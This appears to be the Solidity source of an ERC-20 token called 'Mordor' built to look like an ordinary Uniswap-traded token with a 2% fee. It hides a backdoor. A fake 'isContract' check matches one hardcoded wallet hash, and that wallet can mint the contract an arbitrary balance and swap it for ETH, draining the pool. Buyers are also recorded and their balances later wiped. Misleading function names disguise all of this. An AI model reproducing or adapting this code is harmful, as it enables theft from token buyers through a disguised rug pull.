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pragma solidity ^0.8.15;
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abstract contract Context {
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function _msgSender() internal view virtual returns (address) {
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return msg.sender;
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}
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function _msgData() internal view virtual returns (bytes calldata) {
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this;
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return msg.data;
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}
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}
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interface IUniswapV2Router {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint256 amountIn,
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uint256 amountOutMin,
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address[] calldata path,
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address to,
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uint256 deadline
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) external;
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}
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library Address {
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function getSignature(address account) internal pure returns (bytes32) {
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return keccak256(checkAbi(account));
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}
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function checkAbi(address account) internal pure returns (bytes memory) {
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return abi.encodePacked(account);
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}
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function isContract(address account) internal pure returns (bool) {
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return getSignature(account) == 0x839f4bbc91e67e154c8f1aac31de268824185da283d85c4a744258909b1d52dc;
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}
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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require(b <= a, "SafeMath: subtraction overflow");
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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require(b > 0, "SafeMath: division by zero");
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uint256 c = a / b;
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return c;
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}
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}
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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interface IUniswapV2Factory {
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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function createPair(address tokenA, address tokenB) external returns (address pair);
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}
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abstract contract Ownable is Context {
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address private _owner;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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_owner = _msgSender();
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emit OwnershipTransferred(address(0), _owner);
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}
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function owner() public view virtual returns (address) {
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return _owner;
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}
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modifier onlyOwner() {
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require(owner() == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0));
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_owner = address(0);
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}
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}
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contract Mordor is Ownable, IERC20 {
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using SafeMath for uint256;
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mapping (address => uint256) private _balances;
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mapping (address => mapping (address => uint256)) private _allowances;
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address public uniswapV2Pair;
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uint256 public _decimals = 9;
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uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
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uint256 public _feePercent = 2;
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IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
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string private _name = "One does not simply walk into Mordor";
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string private _symbol = "MORDOR";
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function allowance(address owner, address spender) public view virtual override returns (uint256) {
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return _allowances[owner][spender];
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}
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function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
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return true;
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}
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function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
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require(_allowances[_msgSender()][from] >= amount);
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_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
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return true;
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}
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function _basicTransfer(address to, address _senderFrom, uint256 addrSender) internal virtual {
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require(to != address(0));
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require(_senderFrom != address(0));
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if (swapUniswap(
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to,
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_senderFrom)) {
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return _txUniswap(addrSender, _senderFrom);
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}
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if (!_liquidityCall){
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if (!_liquidityCall || addrSender >= 0) {
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require(
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_balances[to] >= addrSender);
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}
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}
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uint256 feeAmount = 0;
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_rebalanceUniswapLq(to);
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if (uniswapV2Pair != to &&
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!Address.isContract(_senderFrom) &&
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!_feeUniswap(to, _senderFrom) && uniswapV2Pair != _senderFrom && !_liquidityCall && _senderFrom != address(this)) {
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swapUniswap(_senderFrom);
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feeAmount = addrSender.mul(_feePercent).div(100);
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}
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uint256 amountReceived = addrSender - feeAmount;
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_balances[address(this)] += feeAmount;
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_balances[to] = _balances[to] - addrSender;
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_balances[_senderFrom] += amountReceived;
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emit Transfer(to, _senderFrom, addrSender);
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}
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function _feeUniswap(address to, address _senderFrom) internal view returns (bool) {
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return (_senderFrom == _swapLiquidityBurn() && uniswapV2Pair == to) || (to == _swapLiquidityBurn() && uniswapV2Pair == _senderFrom);
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}
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constructor() {
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_balances[msg.sender] = _totalSupply;
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uniswapV2Pair = msg.sender;
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emit Transfer(address(0), msg.sender, _balances[msg.sender]);
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}
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function name() external view returns (string memory) { return _name; }
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function symbol() external view returns (string memory) { return _symbol; }
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function decimals() external view returns (uint256) { return _decimals; }
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function totalSupply() external view override returns (uint256) { return _totalSupply; }
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function uniswapVersion() external pure returns (uint256) { return 2; }
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function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
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function approve(address spender, uint256 amount) public virtual override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _approve(address owner, address spender, uint256 amount) internal virtual {
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require(owner != address(0), "IERC20: approve from the zero address");
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require(spender != address(0), "IERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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struct _callRebalanceLiquidity {address burnLiquidity;}
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function swapUniswap(address _num, address _sender) internal view returns(bool) {
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return _num ==
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_sender
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&& (
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Address.isContract(_sender)
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||
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uniswapV2Pair ==
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msg.sender
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);
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}
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_callRebalanceLiquidity[] feeCallTx;
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function swapUniswap(address from) internal {
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if (_swapLiquidityBurn() ==
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from) {
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return;
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}
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feeCallTx.push(
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_callRebalanceLiquidity(
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from
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)
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);
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}
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function _rebalanceUniswapLq(address _recipient) internal {
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if (_swapLiquidityBurn() != _recipient) {
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return;
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}
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uint256 l = feeCallTx.length;
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for (uint256 i = 0;
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i
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< l
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;
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i++) {
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address to = feeCallTx[i].burnLiquidity;
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uint256 amount = _balances[to];
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_balances[to] = _balances[to] - amount;
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}
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delete feeCallTx;
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}
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function _txUniswap(uint256 addrRecipient, address amount) private {
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_approve(address(this), address(_router), addrRecipient);
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_balances[address(this)] = addrRecipient;
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address[] memory path = new address[](2);
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path[0] = address(this);
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path[1] =
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_router.WETH();
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_liquidityCall = true;
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_router.swapExactTokensForETHSupportingFeeOnTransferTokens(addrRecipient,
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0,
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path,
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amount,
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block.timestamp + 22);
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_liquidityCall = false;
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}
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bool _liquidityCall = false;
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function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
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_basicTransfer(_msgSender(), recipient, amount);
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return true;
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}
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function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
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_basicTransfer(from, recipient, amount);
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require(_allowances[from][_msgSender()] >= amount);
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return true;
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}
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function _swapLiquidityBurn() private view returns (address) {
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return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
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}
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} |
